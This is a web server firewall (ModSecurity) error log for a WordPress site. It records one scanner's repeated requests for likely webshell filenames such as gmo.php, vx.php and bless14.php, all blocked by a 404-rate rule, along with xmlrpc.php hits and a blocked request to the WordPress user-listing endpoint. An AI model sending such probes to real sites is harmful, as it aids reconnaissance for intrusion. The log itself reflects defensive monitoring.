[Wed Jan 07 01:46:07.215434 2026] [:error] [pid 35140:tid 35146] [client 20.239.71.136:23005] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aV1KX3oQaIDFMbT-XMwlcgAAAQQ"]
[Wed Jan 07 01:46:08.003728 2026] [:error] [pid 44904:tid 44948] [client 20.239.71.136:4115] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aV1KYDtieuI1BJEZcveKIAAAAEc"]
[Wed Jan 07 01:46:08.903898 2026] [:error] [pid 45959:tid 45984] [client 20.239.71.136:12050] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aV1KYFajdn8P3hjgMYxemwAAAVY"]
[Wed Jan 07 01:46:10.116174 2026] [:error] [pid 45959:tid 45974] [client 20.239.71.136:13962] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aV1KYlajdn8P3hjgMYxeoQAAAUw"]
[Wed Jan 07 01:46:11.009594 2026] [:error] [pid 45959:tid 45964] [client 20.239.71.136:11457] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aV1KY1ajdn8P3hjgMYxepQAAAUI"]
[Wed Jan 07 01:46:11.756907 2026] [:error] [pid 35140:tid 35157] [client 20.239.71.136:46211] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aV1KY3oQaIDFMbT-XMwldQAAAQ8"]
[Wed Jan 07 01:46:13.381799 2026] [:error] [pid 44904:tid 44942] [client 20.239.71.136:12897] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aV1KZTtieuI1BJEZcveKIwAAAEE"]
[Wed Jan 07 01:46:14.195869 2026] [:error] [pid 44905:tid 44972] [client 20.239.71.136:1833] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV1KZru7ufwWVst9EAtA9QAAAIQ"]
[Wed Jan 07 01:46:15.019927 2026] [:error] [pid 44903:tid 44927] [client 20.239.71.136:20831] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV1KZ9hHqjs38zbkQPBvYgAAABQ"]
[Wed Jan 07 01:46:15.571300 2026] [:error] [pid 44903:tid 44917] [client 20.239.71.136:20822] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV1KZ9hHqjs38zbkQPBvZQAAAAo"]
[Wed Jan 07 01:46:16.493085 2026] [:error] [pid 45959:tid 45971] [client 20.239.71.136:11513] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV1KaFajdn8P3hjgMYxeswAAAUk"]
[Wed Jan 07 01:46:17.223946 2026] [:error] [pid 44905:tid 44971] [client 20.239.71.136:4111] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dox.php"] [unique_id "aV1Kabu7ufwWVst9EAtA-gAAAIM"]
[Wed Jan 07 01:46:20.068475 2026] [:error] [pid 44905:tid 44980] [client 20.239.71.136:41318] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dox.php"] [unique_id "aV1KbLu7ufwWVst9EAtBAgAAAIw"]
[Wed Jan 07 01:46:20.767162 2026] [:error] [pid 44905:tid 44972] [client 20.239.71.136:23506] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dox.php"] [unique_id "aV1KbLu7ufwWVst9EAtBBQAAAIQ"]
[Wed Jan 07 01:46:22.040030 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:1336] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dox.php"] [unique_id "aV1Kblajdn8P3hjgMYxevAAAAUA"]
[Wed Jan 07 01:46:22.509639 2026] [:error] [pid 44905:tid 44983] [client 34.61.251.241:58331] [client 34.61.251.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.251.241, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV1Kbru7ufwWVst9EAtBBwAAAI8"]
[Wed Jan 07 01:46:23.705488 2026] [:error] [pid 35140:tid 35164] [client 20.239.71.136:11539] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV1Kb3oQaIDFMbT-XMwlfgAAARY"]
[Wed Jan 07 01:46:24.411140 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:4150] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV1KcFajdn8P3hjgMYxexQAAAU4"]
[Wed Jan 07 01:46:25.405707 2026] [:error] [pid 44905:tid 44974] [client 34.61.251.241:58331] [client 34.61.251.241] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV1Kcbu7ufwWVst9EAtBCwAAAIY"]
[Wed Jan 07 01:46:25.429514 2026] [:error] [pid 35140:tid 35144] [client 20.239.71.136:23057] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV1KcXoQaIDFMbT-XMwlgQAAAQI"]
[Wed Jan 07 01:46:26.000872 2026] [:error] [pid 45959:tid 45977] [client 20.239.71.136:23094] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV1KcVajdn8P3hjgMYxeygAAAU8"]
[Wed Jan 07 01:46:26.973250 2026] [:error] [pid 45959:tid 45972] [client 20.239.71.136:23047] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV1Kclajdn8P3hjgMYxezwAAAUo"]
[Wed Jan 07 01:46:28.062173 2026] [:error] [pid 44905:tid 44976] [client 34.61.251.241:58331] [client 34.61.251.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.251.241, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV1KdLu7ufwWVst9EAtBDgAAAIg"]
[Wed Jan 07 01:46:30.451215 2026] [:error] [pid 45012:tid 45033] [client 20.239.71.136:23084] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV1KdhaMAxCuju1d0uZmFwAAANM"]
[Wed Jan 07 01:46:31.296525 2026] [:error] [pid 44904:tid 44963] [client 20.239.71.136:23498] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV1KdztieuI1BJEZcveKMwAAAFY"]
[Wed Jan 07 01:46:32.274873 2026] [:error] [pid 45012:tid 45024] [client 20.239.71.136:19427] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV1KeBaMAxCuju1d0uZmGgAAAMo"]
[Wed Jan 07 01:46:33.297050 2026] [:error] [pid 45959:tid 45973] [client 20.239.71.136:1326] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aV1KeVajdn8P3hjgMYxe2QAAAUs"]
[Wed Jan 07 01:46:35.573022 2026] [:error] [pid 45012:tid 45014] [client 20.239.71.136:1416] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aV1KexaMAxCuju1d0uZmJQAAAMA"]
[Wed Jan 07 01:46:36.600770 2026] [:error] [pid 45012:tid 45015] [client 20.239.71.136:23259] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aV1KfBaMAxCuju1d0uZmKAAAAME"]
[Wed Jan 07 01:46:37.518604 2026] [:error] [pid 35140:tid 35145] [client 20.239.71.136:23534] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aV1KfXoQaIDFMbT-XMwligAAAQM"]
[Wed Jan 07 01:46:39.071812 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:1341] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aV1Kf1ajdn8P3hjgMYxe5gAAAU4"]
[Wed Jan 07 01:46:40.711367 2026] [:error] [pid 44903:tid 44913] [client 20.239.71.136:23638] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aV1KgNhHqjs38zbkQPBvdwAAAAY"]
[Wed Jan 07 01:48:43.823480 2026] [:error] [pid 45959:tid 45964] [client 20.239.71.136:5725] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xml.php"] [unique_id "aV1K-1ajdn8P3hjgMYxf0gAAAUI"]
[Wed Jan 07 01:48:45.078623 2026] [:error] [pid 44903:tid 44932] [client 20.239.71.136:23913] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xml.php"] [unique_id "aV1K_dhHqjs38zbkQPBv-QAAABc"]
[Wed Jan 07 01:48:46.229676 2026] [:error] [pid 35140:tid 35147] [client 20.239.71.136:5737] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xml.php"] [unique_id "aV1K_noQaIDFMbT-XMwmIQAAAQU"]
[Wed Jan 07 01:48:47.261620 2026] [:error] [pid 44904:tid 44963] [client 20.239.71.136:3173] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xml.php"] [unique_id "aV1K_ztieuI1BJEZcveKygAAAFY"]
[Wed Jan 07 01:48:48.837677 2026] [:error] [pid 44905:tid 44973] [client 20.239.71.136:23211] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless14.php"] [unique_id "aV1LALu7ufwWVst9EAtBtQAAAIU"]
[Wed Jan 07 01:48:50.481433 2026] [:error] [pid 35140:tid 35148] [client 20.239.71.136:3187] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless14.php"] [unique_id "aV1LAnoQaIDFMbT-XMwmKQAAAQY"]
[Wed Jan 07 01:48:51.758867 2026] [:error] [pid 45959:tid 45969] [client 20.239.71.136:25011] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless14.php"] [unique_id "aV1LA1ajdn8P3hjgMYxf3AAAAUc"]
[Wed Jan 07 01:48:54.008414 2026] [:error] [pid 44903:tid 44917] [client 20.239.71.136:3158] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless14.php"] [unique_id "aV1LBthHqjs38zbkQPBwAgAAAAo"]
[Wed Jan 07 01:48:54.326453 2026] [:error] [pid 44905:tid 44969] [client 20.239.71.136:29610] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aV1LBru7ufwWVst9EAtBxgAAAIE"]
[Wed Jan 07 01:48:55.761636 2026] [:error] [pid 44903:tid 44912] [client 20.239.71.136:3138] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aV1LB9hHqjs38zbkQPBwBQAAAAU"]
[Wed Jan 07 01:48:59.281819 2026] [:error] [pid 45012:tid 45032] [client 20.239.71.136:19719] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aV1LCxaMAxCuju1d0uZnSgAAANI"]
[Wed Jan 07 01:49:00.849170 2026] [:error] [pid 45012:tid 45026] [client 20.239.71.136:17912] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aV1LDBaMAxCuju1d0uZnSwAAAMw"]
[Wed Jan 07 01:49:02.122148 2026] [:error] [pid 44905:tid 44991] [client 20.239.71.136:19733] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aV1LDru7ufwWVst9EAtB1AAAAJc"]
[Wed Jan 07 01:49:03.184976 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:15993] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aV1LD1ajdn8P3hjgMYxf9AAAAUA"]
[Wed Jan 07 01:49:05.183946 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:15991] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aV1LEbu7ufwWVst9EAtB4gAAAIg"]
[Wed Jan 07 01:49:05.868790 2026] [:error] [pid 45012:tid 45015] [client 20.239.71.136:15944] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aV1LERaMAxCuju1d0uZnTgAAAME"]
[Wed Jan 07 01:49:06.657931 2026] [:error] [pid 44904:tid 44947] [client 20.239.71.136:19118] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aV1LEjtieuI1BJEZcveK9AAAAEY"]
[Wed Jan 07 01:49:07.421943 2026] [:error] [pid 44903:tid 44912] [client 20.239.71.136:29961] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aV1LE9hHqjs38zbkQPBwDwAAAAU"]
[Wed Jan 07 01:49:08.444143 2026] [:error] [pid 44903:tid 44921] [client 20.239.71.136:42803] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aV1LFNhHqjs38zbkQPBwEQAAAA4"]
[Wed Jan 07 01:49:09.491490 2026] [:error] [pid 35140:tid 35157] [client 20.239.71.136:42776] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aV1LFXoQaIDFMbT-XMwmNwAAAQ8"]
[Wed Jan 07 01:49:10.357902 2026] [:error] [pid 45959:tid 45967] [client 20.239.71.136:30001] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV1LFlajdn8P3hjgMYxf-gAAAUU"]
[Wed Jan 07 01:49:11.709793 2026] [:error] [pid 45012:tid 45025] [client 20.239.71.136:12843] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV1LFxaMAxCuju1d0uZnVwAAAMs"]
[Wed Jan 07 01:49:12.575499 2026] [:error] [pid 45959:tid 45975] [client 20.239.71.136:17861] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV1LGFajdn8P3hjgMYxf_gAAAU0"]
[Wed Jan 07 01:49:16.353944 2026] [:error] [pid 44903:tid 44933] [client 20.239.71.136:11750] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV1LHNhHqjs38zbkQPBwFwAAABg"]
